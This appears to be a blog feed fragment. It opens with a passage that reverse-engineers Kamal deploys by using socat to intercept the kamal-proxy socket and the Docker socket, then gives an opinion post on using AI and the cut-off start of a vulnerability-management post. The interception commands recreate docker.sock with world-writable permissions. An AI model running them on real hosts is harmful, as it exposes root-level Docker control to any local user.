&lt;deckgo-highlight-code language=&quot;bash&quot;  &gt;
          &lt;code slot=&quot;code&quot;&gt;$ nsenter --net --target $(docker inspect -f &amp;#39;{{.State.Pid}}&amp;#39; kamal-proxy) \
  iptables -t nat -L -n
Chain PREROUTING (policy ACCEPT)
target     prot opt source               destination

Chain INPUT (policy ACCEPT)
target     prot opt source               destination

Chain OUTPUT (policy ACCEPT)
target     prot opt source               destination
DOCKER_OUTPUT  0    --  0.0.0.0/0            127.0.0.11

Chain POSTROUTING (policy ACCEPT)
target     prot opt source               destination
DOCKER_POSTROUTING  0    --  0.0.0.0/0            127.0.0.11

Chain DOCKER_OUTPUT (1 references)
target     prot opt source               destination
DNAT       6    --  0.0.0.0/0            127.0.0.11           tcp dpt:53 to:127.0.0.11:39291
DNAT       17   --  0.0.0.0/0            127.0.0.11           udp dpt:53 to:127.0.0.11:57361

Chain DOCKER_POSTROUTING (1 references)
target     prot opt source               destination
SNAT       6    --  127.0.0.11           0.0.0.0/0            tcp spt:39291 to::53
SNAT       17   --  127.0.0.11           0.0.0.0/0            udp spt:57361 to::53&lt;/code&gt;
        &lt;/deckgo-highlight-code&gt;
&lt;p&gt;In order to understand these rules it’s important to know that Docker’s embedded DNS resolver runs at 127.0.0.11 inside every container’s network namespace. Let’s see what these rules are doing:&lt;/p&gt;
&lt;p&gt;&lt;code class=&quot;language-text&quot;&gt;DOCKER_OUTPUT&lt;/code&gt; intercepts outgoing DNS queries:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;TCP port 53 → redirected to 127.0.0.11:39291&lt;/li&gt;
&lt;li&gt;UDP port 53 → redirected to 127.0.0.11:57361&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Any process inside this namespace that tries to query DNS on port 53 gets silently redirected to dockerd’s actual listening ports. The process never knows.&lt;/p&gt;
&lt;p&gt;&lt;code class=&quot;language-text&quot;&gt;DOCKER_POSTROUTING&lt;/code&gt; is the return path, it rewrites the source port back to 53 on the way out:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Responses from 127.0.0.11:39291 → source rewritten to port 53&lt;/li&gt;
&lt;li&gt;Responses from 127.0.0.11:57361 → source rewritten to port 53&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;But this still doesn’t explain how &lt;code class=&quot;language-text&quot;&gt;kamal-proxy&lt;/code&gt; knows about the new container! Let’s inspect the binary itself:&lt;/p&gt;
&lt;deckgo-highlight-code language=&quot;bash&quot;  &gt;
          &lt;code slot=&quot;code&quot;&gt;$ docker exec kamal-proxy kamal-proxy deploy --help
Deploy a target host
# ...
--target strings  Target host(s) to deploy
# ...&lt;/code&gt;
        &lt;/deckgo-highlight-code&gt;
&lt;p&gt;Turns out &lt;code class=&quot;language-text&quot;&gt;kamal-proxy&lt;/code&gt; is told about the container instead of figuring it out!&lt;/p&gt;
&lt;deckgo-highlight-code language=&quot;bash&quot;  &gt;
          &lt;code slot=&quot;code&quot;&gt;$ docker exec kamal-proxy kamal-proxy list
Service  Host           Path  Target             State    TLS
xps-web  tasks.xps.one  /     dfdee429978c:8080  running  yes&lt;/code&gt;
        &lt;/deckgo-highlight-code&gt;
&lt;p&gt;See how our target is the existing container? Pretty cool! So who tells &lt;code class=&quot;language-text&quot;&gt;kamal-proxy&lt;/code&gt; about the container and how? A common pattern in these systems is to use a unix &lt;a href=&quot;https://man7.org/linux/man-pages/man2/socket.2.html&quot;&gt;socket&lt;/a&gt; to communicate with a process, do we have one of those?&lt;/p&gt;
&lt;deckgo-highlight-code language=&quot;bash&quot;  &gt;
          &lt;code slot=&quot;code&quot;&gt;$ cat /proc/$(docker inspect -f &amp;#39;{{.State.Pid}}&amp;#39; kamal-proxy)/net/unix
Num       RefCount Protocol Flags    Type St Inode Path
00000000790abc7c: 00000002 00000000 00010000 0001 01 18782 /tmp/kamal-proxy.sock&lt;/code&gt;
        &lt;/deckgo-highlight-code&gt;
&lt;p&gt;Bingo! &lt;code class=&quot;language-text&quot;&gt;proc/&amp;lt;pid&gt;/net/&lt;/code&gt; shows the network state from inside the process’s network namespace, including sockets. Since we are interested in unix sockets, we ran &lt;code class=&quot;language-text&quot;&gt;/proc/&amp;lt;pid&gt;/net/unix&lt;/code&gt; to find it. This is the path as seen from inside the container’s filesystem. To access it from the host we need to find it through the overlay filesystem:&lt;/p&gt;
&lt;deckgo-highlight-code language=&quot;bash&quot;  &gt;
          &lt;code slot=&quot;code&quot;&gt;$ find /var/lib/docker -name &amp;quot;kamal-proxy.sock&amp;quot; 2&amp;gt;/dev/null
/var/lib/docker/rootfs/overlayfs/b9958b81313ca466bfb55a5e97cdef16123ddab4c8443d37e8c88282ed19be7e/tmp/kamal-proxy.sock&lt;/code&gt;
        &lt;/deckgo-highlight-code&gt;
&lt;p&gt;There we have it! Can we use something like &lt;a href=&quot;https://linux.die.net/man/1/socat&quot;&gt;socat&lt;/a&gt; to intercept the traffic going through it? In order to do it we will have to put a proxy in front of Kamal’s proxy and then trigger a re-deploy. How fun is that?!&lt;/p&gt;
&lt;deckgo-highlight-code language=&quot;bash&quot;  &gt;
          &lt;code slot=&quot;code&quot;&gt;$ cd /var/lib/docker/rootfs/overlayfs/b9958b81313ca466bfb55a5e97cdef16123ddab4c8443d37e8c88282ed19be7e/tmp/ 

# Move the real socket aside
mv kamal-proxy.sock kamal-proxy.sock.real

# Create the intercepting proxy
socat -v \
  UNIX-LISTEN:kamal-proxy.sock,fork,reuseaddr,mode=777 \
  UNIX-CONNECT:kamal-proxy.sock.real \
  2&amp;gt;&amp;amp;1 | tee /tmp/socket-traffic.log
&amp;gt; 2026/02/26 04:01:02.000725236  length=1024 from=0 to=1023
.....\aRequest.......\rServiceMethod.\f...Seq..........kamal-proxy.Deploy........
DeployArgs.....\a.\aService.\f..
TargetURLs.....
ReaderURLs.....\rDeployTimeout....\fDrainTimeout.....ServiceOptions.....\rTargetOptions............\b[]string.....\f...........ServiceOptions.....\f..Hosts.....\fPathPrefixes.....
TLSEnabled.....TLSCertificatePath.\f...TLSPrivateKeyPath.\f..\vTLSRedirect....\rACMEDirectory.\f..\rACMECachePath.\f..\rErrorPagePath.\f..\vStripPrefix.....WriterAffinityTimeout.....ReadTargetsAcceptWebsockets............\rTargetOptions.....
..HealthCheckConfig......ResponseTimeout.....BufferRequests.....BufferResponses.....MaxMemoryBufferSize.....MaxRequestBodySize.....MaxResponseBodySize.....LogRequestHeaders......LogResponseHeaders......ForwardHeaders.....A......HealthCheckConfig........Path.\f..\bInterval....\aTimeout..........\axps-web...13e21e3cada6:8080..\r.GX...\r.GX....\rtasks.xps.one.../.....+/home/kamal-proxy/.config/kamal-proxy/certs.....e......../up..........T\v.....\r.GX....... ....\rCache-Control\rLast-Modified
User-Agent..&amp;lt; 2026/02/26 04:01:02.000744785  length=86 from=0 to=85
9....\bResponse.......\rServiceMethod.\f...Seq.....Error.\f........kamal-proxy.Deploy.....&lt;/code&gt;
        &lt;/deckgo-highlight-code&gt;
&lt;p&gt;It seems like &lt;code class=&quot;language-text&quot;&gt;kamal-proxy&lt;/code&gt; communicates through RPC. More importantly, can you spot the new container ID in there? Here it is! &lt;code class=&quot;language-text&quot;&gt;13e21e3cada6:8080&lt;/code&gt;. And if we run &lt;code class=&quot;language-text&quot;&gt;docker ps&lt;/code&gt; again:&lt;/p&gt;
&lt;deckgo-highlight-code language=&quot;bash&quot;  &gt;
          &lt;code slot=&quot;code&quot;&gt;$ docker ps
CONTAINER ID   IMAGE                         COMMAND             CREATED         STATUS                   PORTS                                                                          NAMES
13e21e3cada6   kaeros/xps:98043a3            &amp;quot;/app/server&amp;quot;       4 minutes ago   Up 4 minutes (healthy)   8080/tcp                                                                       xps-web-98043a3
b9958b81313c   basecamp/kamal-proxy:v0.9.0   &amp;quot;kamal-proxy run&amp;quot;   24 hours ago    Up About an hour         0.0.0.0:80-&amp;gt;80/tcp, [::]:80-&amp;gt;80/tcp, 0.0.0.0:443-&amp;gt;443/tcp, [::]:443-&amp;gt;443/tcp   kamal-proxy&lt;/code&gt;
        &lt;/deckgo-highlight-code&gt;
&lt;p&gt;The container IDs match! Very neat.&lt;/p&gt;
&lt;p&gt;We are getting to the end here. The &lt;code class=&quot;language-text&quot;&gt;image&lt;/code&gt; used by Kamal is deterministic since in my case every deploy uses &lt;code class=&quot;language-text&quot;&gt;git rev-parse --short HEAD&lt;/code&gt; as a tag:&lt;/p&gt;
&lt;deckgo-highlight-code language=&quot;bash&quot;  &gt;
          &lt;code slot=&quot;code&quot;&gt;$ git rev-parse --short HEAD
98043a3&lt;/code&gt;
        &lt;/deckgo-highlight-code&gt;
&lt;p&gt;See how it matches &lt;code class=&quot;language-text&quot;&gt;kaeros/xps:98043a3&lt;/code&gt;? Kamal uses the git SHA as the image tag, then after starting the new container it gets the container ID from Docker’s API and passes that to &lt;code class=&quot;language-text&quot;&gt;kamal-proxy&lt;/code&gt;. We can apply the same socat interception technique to the Docker socket itself in order to learn which commands Kamal is running since it SSHs into our server:&lt;/p&gt;
&lt;deckgo-highlight-code language=&quot;bash&quot;  &gt;
          &lt;code slot=&quot;code&quot;&gt;$ ls -la /var/run/docker.sock
srw-rw---- 1 root docker 0 Feb 26 03:00 /var/run/docker.sock

# Move it aside and proxy it
mv /var/run/docker.sock /var/run/docker.sock.real

socat -v \
  UNIX-LISTEN:/var/run/docker.sock,fork,reuseaddr,mode=777 \
  UNIX-CONNECT:/var/run/docker.sock.real \
  2&amp;gt;&amp;amp;1 | tee /tmp/docker-socket-traffic.log

# ...
HEAD /_ping HTTP/1.1\r
Host: api.moby.localhost\r
User-Agent: Docker-Client/29.2.1 (linux)\r
\r
&amp;lt; 2026/02/26 04:18:53.000758423  length=316 from=0 to=315
HTTP/1.1 200 OK\r
Api-Version: 1.53\r
Builder-Version: 2\r
Cache-Control: no-cache, no-store, must-revalidate\r
Content-Length: 0\r
Content-Type: text/plain; charset=utf-8\r
Docker-Experimental: false\r
Ostype: linux\r
Pragma: no-cache\r
Server: Docker/29.2.1 (linux)\r
Swarm: inactive\r
Date: Thu, 26 Feb 2026 04:18:53 GMT\r
\r
&amp;gt; 2026/02/26 04:18:53.000764740  length=128 from=92 to=219
# ...
# waaay more requests
# ...&lt;/code&gt;
        &lt;/deckgo-highlight-code&gt;
&lt;p&gt;And this clears any doubt of what is happening:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Pull the new image&lt;/li&gt;
&lt;/ol&gt;
&lt;deckgo-highlight-code language=&quot;bash&quot;  &gt;
          &lt;code slot=&quot;code&quot;&gt;DELETE /v1.53/images/kaeros/xps:98043a3   ← remove stale local copy
POST   /v1.53/images/create?fromImage=kaeros/xps&amp;amp;tag=98043a3  ← pull fresh from Docker Hub
GET    /v1.53/images/kaeros/xps:98043a3/json  ← inspect the image&lt;/code&gt;
        &lt;/deckgo-highlight-code&gt;
&lt;ol start=&quot;2&quot;&gt;
&lt;li&gt;Ensure infrastructure exists&lt;/li&gt;
&lt;/ol&gt;
&lt;deckgo-highlight-code language=&quot;bash&quot;  &gt;
          &lt;code slot=&quot;code&quot;&gt;POST /v1.53/networks/create {&amp;quot;Name&amp;quot;:&amp;quot;kamal&amp;quot;...}
GET  /v1.53/containers/kamal-proxy/json
POST /v1.53/containers/kamal-proxy/start&lt;/code&gt;
        &lt;/deckgo-highlight-code&gt;
&lt;ol start=&quot;3&quot;&gt;
&lt;li&gt;Find and rename the old container&lt;/li&gt;
&lt;/ol&gt;
&lt;deckgo-highlight-code language=&quot;bash&quot;  &gt;
          &lt;code slot=&quot;code&quot;&gt;GET  /v1.53/containers/json?filters={&amp;quot;label&amp;quot;:{&amp;quot;service=xps&amp;quot;,&amp;quot;role=web&amp;quot;...}}
POST /v1.53/containers/xps-web-98043a3/rename?name=xps-web-98043a3_replaced_4c73fa88&lt;/code&gt;
        &lt;/deckgo-highlight-code&gt;
&lt;ol start=&quot;4&quot;&gt;
&lt;li&gt;Create and start the new container&lt;/li&gt;
&lt;/ol&gt;
&lt;deckgo-highlight-code language=&quot;bash&quot;  &gt;
          &lt;code slot=&quot;code&quot;&gt;POST /v1.53/containers/create?name=xps-web-98043a3
{
  &amp;quot;Image&amp;quot;: &amp;quot;kaeros/xps:98043a3&amp;quot;,
  &amp;quot;Labels&amp;quot;: {&amp;quot;destination&amp;quot;:&amp;quot;&amp;quot;,&amp;quot;role&amp;quot;:&amp;quot;web&amp;quot;,&amp;quot;service&amp;quot;:&amp;quot;xps&amp;quot;},
  &amp;quot;Env&amp;quot;: [&amp;quot;KAMAL_VERSION=98043a3&amp;quot;, &amp;quot;KAMAL_CONTAINER_NAME=xps-web-98043a3&amp;quot;...],
  &amp;quot;Memory&amp;quot;: 268435456,      ← 256MB limit from deploy.yml
  &amp;quot;NanoCpus&amp;quot;: 1000000000,   ← 1 CPU limit
  &amp;quot;SecurityOpt&amp;quot;: [&amp;quot;no-new-privileges:true&amp;quot;]
}
POST /v1.53/containers/7c001501e3ca/start&lt;/code&gt;
        &lt;/deckgo-highlight-code&gt;
&lt;ol start=&quot;5&quot;&gt;
&lt;li&gt;Tell kamal-proxy about the new container&lt;/li&gt;
&lt;/ol&gt;
&lt;deckgo-highlight-code language=&quot;bash&quot;  &gt;
          &lt;code slot=&quot;code&quot;&gt;POST /v1.53/containers/kamal-proxy/exec
{
  &amp;quot;Cmd&amp;quot;: [
    &amp;quot;kamal-proxy&amp;quot;, &amp;quot;deploy&amp;quot;, &amp;quot;xps-web&amp;quot;,
    &amp;quot;--target=7c001501e3ca:8080&amp;quot;,   ← new container ID, first 12 chars
    &amp;quot;--host=tasks.xps.one&amp;quot;,
    &amp;quot;--tls&amp;quot;,
    &amp;quot;--health-check-path=/up&amp;quot;,
    &amp;quot;--buffer-requests&amp;quot;,
    &amp;quot;--buffer-responses&amp;quot;
    ...
  ]
}&lt;/code&gt;
        &lt;/deckgo-highlight-code&gt;
&lt;ol start=&quot;6&quot;&gt;
&lt;li&gt;Stop the old container&lt;/li&gt;
&lt;/ol&gt;
&lt;deckgo-highlight-code language=&quot;bash&quot;  &gt;
          &lt;code slot=&quot;code&quot;&gt;POST /v1.53/containers/13e21e3cada6/stop&lt;/code&gt;
        &lt;/deckgo-highlight-code&gt;
&lt;ol start=&quot;7&quot;&gt;
&lt;li&gt;Cleanup&lt;/li&gt;
&lt;/ol&gt;
&lt;deckgo-highlight-code language=&quot;bash&quot;  &gt;
          &lt;code slot=&quot;code&quot;&gt;POST /v1.53/images/kaeros/xps:98043a3/tag?repo=kaeros/xps&amp;amp;tag=latest
POST /v1.53/images/prune?filters={&amp;quot;dangling&amp;quot;:true,&amp;quot;label&amp;quot;:{&amp;quot;service=xps&amp;quot;}}
GET  /v1.53/containers/json?filters={&amp;quot;label&amp;quot;:{&amp;quot;service=xps&amp;quot;},&amp;quot;status&amp;quot;:{&amp;quot;exited&amp;quot;}}&lt;/code&gt;
        &lt;/deckgo-highlight-code&gt;
&lt;p&gt;Before quitting, let’s quickly see how &lt;code class=&quot;language-text&quot;&gt;kamal-proxy&lt;/code&gt; stores its state.&lt;/p&gt;
&lt;h3&gt;Mounts&lt;/h3&gt;
&lt;deckgo-highlight-code language=&quot;bash&quot;  &gt;
          &lt;code slot=&quot;code&quot;&gt;$ docker inspect kamal-proxy | jq &amp;#39;.[0].Mounts&amp;#39;
[
  {
    &amp;quot;Type&amp;quot;: &amp;quot;volume&amp;quot;,
    &amp;quot;Name&amp;quot;: &amp;quot;kamal-proxy-config&amp;quot;,
    &amp;quot;Source&amp;quot;: &amp;quot;/var/lib/docker/volumes/kamal-proxy-config/_data&amp;quot;,
    &amp;quot;Destination&amp;quot;: &amp;quot;/home/kamal-proxy/.config/kamal-proxy&amp;quot;,
    &amp;quot;Driver&amp;quot;: &amp;quot;local&amp;quot;,
    &amp;quot;Mode&amp;quot;: &amp;quot;z&amp;quot;,
    &amp;quot;RW&amp;quot;: true,
    &amp;quot;Propagation&amp;quot;: &amp;quot;&amp;quot;
  },
  {
    &amp;quot;Type&amp;quot;: &amp;quot;bind&amp;quot;,
    &amp;quot;Source&amp;quot;: &amp;quot;/home/deploy/.kamal/proxy/apps-config&amp;quot;,
    &amp;quot;Destination&amp;quot;: &amp;quot;/home/kamal-proxy/.apps-config&amp;quot;,
    &amp;quot;Mode&amp;quot;: &amp;quot;&amp;quot;,
    &amp;quot;RW&amp;quot;: true,
    &amp;quot;Propagation&amp;quot;: &amp;quot;rprivate&amp;quot;
  }
]&lt;/code&gt;
        &lt;/deckgo-highlight-code&gt;
&lt;p&gt;Let’s dig into these:&lt;/p&gt;
&lt;deckgo-highlight-code language=&quot;bash&quot;  &gt;
          &lt;code slot=&quot;code&quot;&gt;$ find /var/lib/docker/volumes/kamal-proxy-config/_data -type f
/var/lib/docker/volumes/kamal-proxy-config/_data/certs/e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855/tasks.xps.one
/var/lib/docker/volumes/kamal-proxy-config/_data/certs/e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855/acme_account+key
/var/lib/docker/volumes/kamal-proxy-config/_data/kamal-proxy.state&lt;/code&gt;
        &lt;/deckgo-highlight-code&gt;
&lt;p&gt;That &lt;code class=&quot;language-text&quot;&gt;kamal-proxy.state&lt;/code&gt; looks interesting!&lt;/p&gt;
&lt;deckgo-highlight-code language=&quot;bash&quot;  &gt;
          &lt;code slot=&quot;code&quot;&gt;$ cat /var/lib/docker/volumes/kamal-proxy-config/_data/kamal-proxy.state | jq .[
  {
    &amp;quot;name&amp;quot;: &amp;quot;xps-web&amp;quot;,
    # ...
    &amp;quot;active_targets&amp;quot;: [
      &amp;quot;dfdee429978c:8080&amp;quot;
    ],
     # ...
  }
]&lt;/code&gt;
        &lt;/deckgo-highlight-code&gt;
&lt;p&gt;&lt;code class=&quot;language-text&quot;&gt;active_targets&lt;/code&gt; has our new container ID! Let’s re-deploy and see how this file changes:&lt;/p&gt;
&lt;deckgo-highlight-code language=&quot;bash&quot;  &gt;
          &lt;code slot=&quot;code&quot;&gt;$ watch -n0.5 &amp;#39;cat /var/lib/docker/volumes/kamal-proxy-config/_data/kamal-proxy.state | jq .&amp;#39;

# ...
&amp;quot;active_targets&amp;quot;: [
      &amp;quot;00b4e865ec54:8080&amp;quot; # Changed!
]
# ...&lt;/code&gt;
        &lt;/deckgo-highlight-code&gt;
&lt;p&gt;So this is how &lt;code class=&quot;language-text&quot;&gt;kamal-proxy&lt;/code&gt; keeps the current state of the system.&lt;/p&gt;
&lt;p&gt;This was an interesting journey with lots of dead ends. As the reader you have the privilege of walking on the paved path instead of blindly stumbling through the infrastructure like I did. If you feel like I missed something or things are unclear, give me a shout! See you next time.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Thoughts on using AI]]></title><description><![CDATA[My thoughts on the double-edged nature of AI and how to approach it.]]></description><link>https://bernardoamc.com/thoughts-on-using-ai/</link><guid isPermaLink="false">https://bernardoamc.com/thoughts-on-using-ai/</guid><pubDate>Sun, 27 Jul 2025 12:30:00 GMT</pubDate><content:encoded>&lt;p&gt;I’ve been asked multiple times about what I think regarding AI and how it impacts, or might impact, my work and life in the long run. After the last such question, I noticed that my stance has shifted after being exposed to different ways that AI can and has been embedded (no pun intended) in my daily life. Hopefully, writing about it will help me solidify my thought process while having a place to point people to if they ever want to hear my opinion on this matter.&lt;/p&gt;
&lt;p&gt;Something that I firmly believe is that AI is a wonderful tool to lower the entry barrier in a topic I’m &lt;em&gt;already familiar with&lt;/em&gt;. Take programming as an example: if I need to write a script in a programming language that I’m not familiar with, like Lua, AI does an amazing job reducing the friction of having to research the syntax or APIs. This is only helpful because I’m able to &lt;em&gt;judge its output&lt;/em&gt; given my prior experience with programming. I wouldn’t go as far as saying it helps me directly learn Lua, since this can only happen through effort, but it indirectly helps me by reducing the friction of finding good resources or patterns.&lt;/p&gt;
&lt;p&gt;As a counterpoint, watching something is not the same as doing it. I could watch a thousand hours of climbing videos and I would still not be able to climb proficiently. I could also watch people programming for hours, but I wouldn’t become a competent programmer myself. Copying the output of an AI interaction is the same as watching videos, unless I’m thinking critically and executing myself, my learning will be shallow at most. As a data point to the prior statement, I’ve caught myself asking the same or similar questions multiple times to AI since I’ve not internalized any of the concepts it explained to me.&lt;/p&gt;
&lt;p&gt;It gets worse. Blindly trusting code that AI outputs lowers my competency in the long run since I’m not putting in the effort to improve or maintain my skills. Individually, this is something I can watch out for, but collectively this scares me. I work on multiple codebases on a daily basis (like many of you), and as more AI-generated code gets shipped, the lower our collective competency becomes in terms of overall context (this is already happening) and skill level. As a consequence, maintaining systems will become orders of magnitude harder. We might be shooting ourselves in the foot, or maybe AI will become so good that none of it will matter, but who knows?&lt;/p&gt;
&lt;p&gt;What about things I don’t need (or want) to be competent at? This is where my opinion shifts again and AI becomes an amazing technology. I love being able to ask dumb questions and receive answers without any judgment. I also love how I can ask for the answers to be framed based on topics I’m already familiar with. It makes me more creative by exposing me to concepts that I would have a hard time searching for. It helps me get things done faster.&lt;/p&gt;
&lt;p&gt;This brings me to AI agents, an amazing technology to reduce or eliminate toil. I don’t want to spend hours a week assessing something that doesn’t bring me value. Could I become more efficient at my assessments? Sure! But I don’t want to. I would rather spend my time solving interesting problems. Agents done right are like automations on steroids, and which developer doesn’t like to automate things?&lt;/p&gt;
&lt;p&gt;So will I keep using AI? Absolutely! I’ve seen a lot of folks complaining that AI takes away the joy of learning or doing something, but this is entirely dependent on how the individual uses AI. Chess or Go remain incredibly fun to learn and master despite computers being able to play on better terms than us humans. Programming, writing and whatnot should be treated the same way.&lt;/p&gt;
&lt;p&gt;No one can predict where this (or any) technology will end up. We might be fully automating ourselves or hitting an inflection point where the technology’s progress tapers off. Airplanes and cars saw incredible progress in the early stages, but have remained mostly the same for commercial use for decades now. Despite the outcome, don’t let AI replace your critical thinking and effort, it still deeply matters and will bring you joy.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Sustainable Vulnerability Management]]></title><description><![CDATA[Surfacing risk sustainably, without burning out your organization.]]></description><link>https://bernardoamc.com/sustainable-vulnerability-management/</link><guid isPermaLink="false">https://bernardoamc.com/sustainable-vulnerability-management/</guid><pubDate>Sat, 10 May 2025 08:00:00 GMT</pubDate><content:encoded>&lt;p&gt;This is a follow up on &lt;a href=&quot;https://bernardoamc.com/vulnerability-management-pitfalls/&quot;&gt;my previous post&lt;/a&gt; titled “Vulnerability Management Pitfalls (and How to Avoid Them)“. It dives into one of the topics listed there: &lt;code class=&quot;language-text&quot;&gt;Poorly prioritized issues&lt;/code&gt;. Given its importance, I felt it deserved a dedicated post.&lt;/p&gt;
&lt;p&gt;One of the most common mistakes I see Vulnerability Management (VM) teams make is surfacing &lt;em&gt;every identified risk&lt;/em&gt;, regardless of whether the organization has the capacity to act on it.&lt;/p&gt;
&lt;p&gt;&lt;span
      class=&quot;gatsby-resp-image-wrapper&quot;
      style=&quot;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 630px; &quot;
    &gt;
      &lt;a
    class=&quot;gatsby-resp-image-link&quot;
    href=&quot;/static/b3bfe5a7015378f3b2ff6e7bf78f24a8/c3039/org_risk_capacity.png&quot;
    style=&quot;display: block&quot;
    target=&quot;_blank&quot;
    rel=&quot;noopener&quot;
  &gt;
    &lt;span
    class=&quot;gatsby-resp-image-background-image&quot;
    style=&quot;padding-bottom: 59.49367088607595%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAMCAYAAABiDJ37AAAACXBIWXMAAB7CAAAewgFu0HU+AAABcElEQVQoz6VTy46DMAzk//+r70Mv3Cq1Ug8USCAE0gYIZFYTEYnurlaV1pJlO9jjJ8k0TRiGAZTzPMMYgzzPUZYliqJAVVWQQkBKiUpK1HWNUghUSqHWGp21cN7DMd57JP0wQOQ5iizD9XZDlmUBTGsdkqxpYqBzsMagLQq09zvaywU6TaHPZzhjkPR9j05rjH0fquuZ0bkANo4jmLApSzTXK1Saoj4eYXY7DPs97GaDcbsFDgf40wmegNZatG0b2iUAgZhEKQUhRGjRKIWXlHBNA9e2cF2HccXDwrNzSAjCyiIxAUFerxe8928t+4XX9tt3zpBVsELS8/kMlbHa6ECd7BcZ9e921JOmaQIQW2VlayDKT/Voh6Ww5a7rwuxIvzl+DMgbJCDbjmfyb0C2Guf4YxGrgMh/UUIHHjFnSXC2zZly29TJfOdt8iLW79GP33kVtANgPOK4KbscN4lbfzweQfL3o05/xhGEftSZgPYXbzKmoqb+fTEAAAAASUVORK5CYII=&apos;); background-size: cover; display: block;&quot;
  &gt;&lt;/span&gt;
  &lt;img
        class=&quot;gatsby-resp-image-image&quot;
        alt=&quot;Organization capacity to handle surfaced risks&quot;
        title=&quot;Organization capacity to handle surfaced risks&quot;
        src=&quot;/static/b3bfe5a7015378f3b2ff6e7bf78f24a8/f058b/org_risk_capacity.png&quot;
        srcset=&quot;/static/b3bfe5a7015378f3b2ff6e7bf78f24a8/c26ae/org_risk_capacity.png 158w,
/static/b3bfe5a7015378f3b2ff6e7bf78f24a8/6bdcf/org_risk_capacity.png 315w,
/static/b3bfe5a7015378f3b2ff6e7bf78f24a8/f058b/org_risk_capacity.png 630w,
/static/b3bfe5a7015378f3b2ff6e7bf78f24a8/40601/org_risk_capacity.png 945w,
/static/b3bfe5a7015378f3b2ff6e7bf78f24a8/78612/org_risk_capacity.png 1260w,
/static/b3bfe5a7015378f3b2ff6e7bf78f24a8/c3039/org_risk_capacity.png 1979w&quot;
        sizes=&quot;(max-width: 630px) 100vw, 630px&quot;
        style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&quot;
        loading=&quot;lazy&quot;
        decoding=&quot;async&quot;
      /&gt;
  &lt;/a&gt;
    &lt;/span&gt;&lt;/p&gt;
&lt;p&gt;As VM teams mature, they expand automation across more surface areas, surfacing more risk in the process. But the organization’s capacity to remediate risk often remains fixed. This mismatch creates mounting pressure.&lt;/p&gt;
&lt;p&gt;Once the volume of surfaced risk exceeds the organization’s ability to respond, things start to break down.&lt;/p&gt;
&lt;p&gt;&lt;span
      class=&quot;gatsby-resp-image-wrapper&quot;
      style=&quot;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 630px; &quot;
    &gt;
      &lt;a
    class=&quot;gatsby-resp-image-link&quot;
    href=&quot;/static/7f2834ae08174312c12aabd4ae2c6048/2bef9/org_tackling_risk.png&quot;
    style=&quot;display: block&quot;
    target=&quot;_blank&quot;
    rel=&quot;noopener&quot;
  &gt;
    &lt;span
    class=&quot;gatsby-resp-image-background-image&quot;
    style=&quot;padding-bottom: 100%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAIAAAAC64paAAAACXBIWXMAAAsTAAALEwEAmpwYAAADf0lEQVQ4y12Ta3OiShCG/e97fsCePSmrYtXmVnUSjbuAigY1MTEShZVLMCYCw/XgXWBmQPHrKWBrP+T5xtDv9NvT3QUIYRiGQRhihOIoRgiln0GAMbYzoijCGOfnnyj8CfU8TxTFxWIBIQyCIIoiXdcNwwjDUFEUA4A8zWcxhHC1WsmyrGnay8tLkJGLAQCz2Qzo4Ln/7DjOp/y/xev1ejb74DhuNBoihHzfj6JI0zQAgOM4LPsyGAwghAihIAg+247jfbPZur29fX1VKpWK7/txHGuaZpqm7/vfv59xHM8wzHK5xBj/0Rdyh7Is93q91WrFMMzZ2ZnjOIfDIa9ZluXxeIwQrtcbj4+PYRju9/soiiCEqRghJEtSt9s1Tavdbt/clLvd+yRJdF1XVbXT6QyHQ4QxQRCVSqXdZnq9Ht2gl8tlKoYQbjdbjuMkSfr4+OB5HgCQ2dYty3ZddzAYrJbL8Vj48fPn+fn5aDRSZ6plWQWc8fDw4Pu+JEnv7+/H4zGO4yRJLMtyHGc6ncqyPJlM5vN5o9EgKZLjuOl0utlsCo7j2ratvL4CANQMAICu647tCIIgiqKqqpqqGdnfaQbHcWmA4/wWu+5/ppnmMU0zb69t26IoCoIwn8/f3t54nrcsS1EUSZRs284DUtsQQlmWBUFwHCfKwBgnSZJd6gZB8DZ94/jUau+hVy6XCYLIe1lACGuaZgBDUSZPT09BEPgZGGNd123btiz7YzbjOK5YLFar1VqtRpKkIAgIoXRIttttp9NpNpuu62KUGoEQxnGcF388Hln25fT09Nu3fyiKuq1W7+7uGObO9/3U9mKxuLi44H/9ykfHdd18PQzDADo4HA6CIJRKpcvLy+t/r1utVqVS0TQNY5xmpkhKll8lSZJl2fd9iqJoukFRNdtKHyaO4m63e1utFovFL1/+qtVqzWaTZdkwCAu73W42mzEMs16vTcNo0DRJkgRBtNttdsDatpMkyXP/mWVZgiCurq7q9fr9/f1wOFwsFqltVVUlSeo/PZVvytc3N1+//v2jWqWoWrvd9jJ4nh+Px7V6vVQqnZycjEYjAIDneYUwCPr9vud5w+GQpmmCJEejkWmYtm1rquZ5niCIE2XC83y9Xm+1WiRJ0jStquput0trjvf7/Hk3m+18vshWBe/3e9dN5+dwOCCE9vtDvud5L/Pp+B/UwO+tHmObFgAAAABJRU5ErkJggg==&apos;); background-size: cover; display: block;&quot;
  &gt;&lt;/span&gt;
  &lt;img
        class=&quot;gatsby-resp-image-image&quot;
        alt=&quot;Organization tendency to slow down given a high amount of surfaced risk&quot;
        title=&quot;Organization tendency to slow down given a high amount of surfaced risk&quot;
        src=&quot;/static/7f2834ae08174312c12aabd4ae2c6048/f058b/org_tackling_risk.png&quot;
        srcset=&quot;/static/7f2834ae08174312c12aabd4ae2c6048/c26ae/org_tackling_risk.png 158w,
/static/7f2834ae08174312c12aabd4ae2c6048/6bdcf/org_tackling_risk.png 315w,
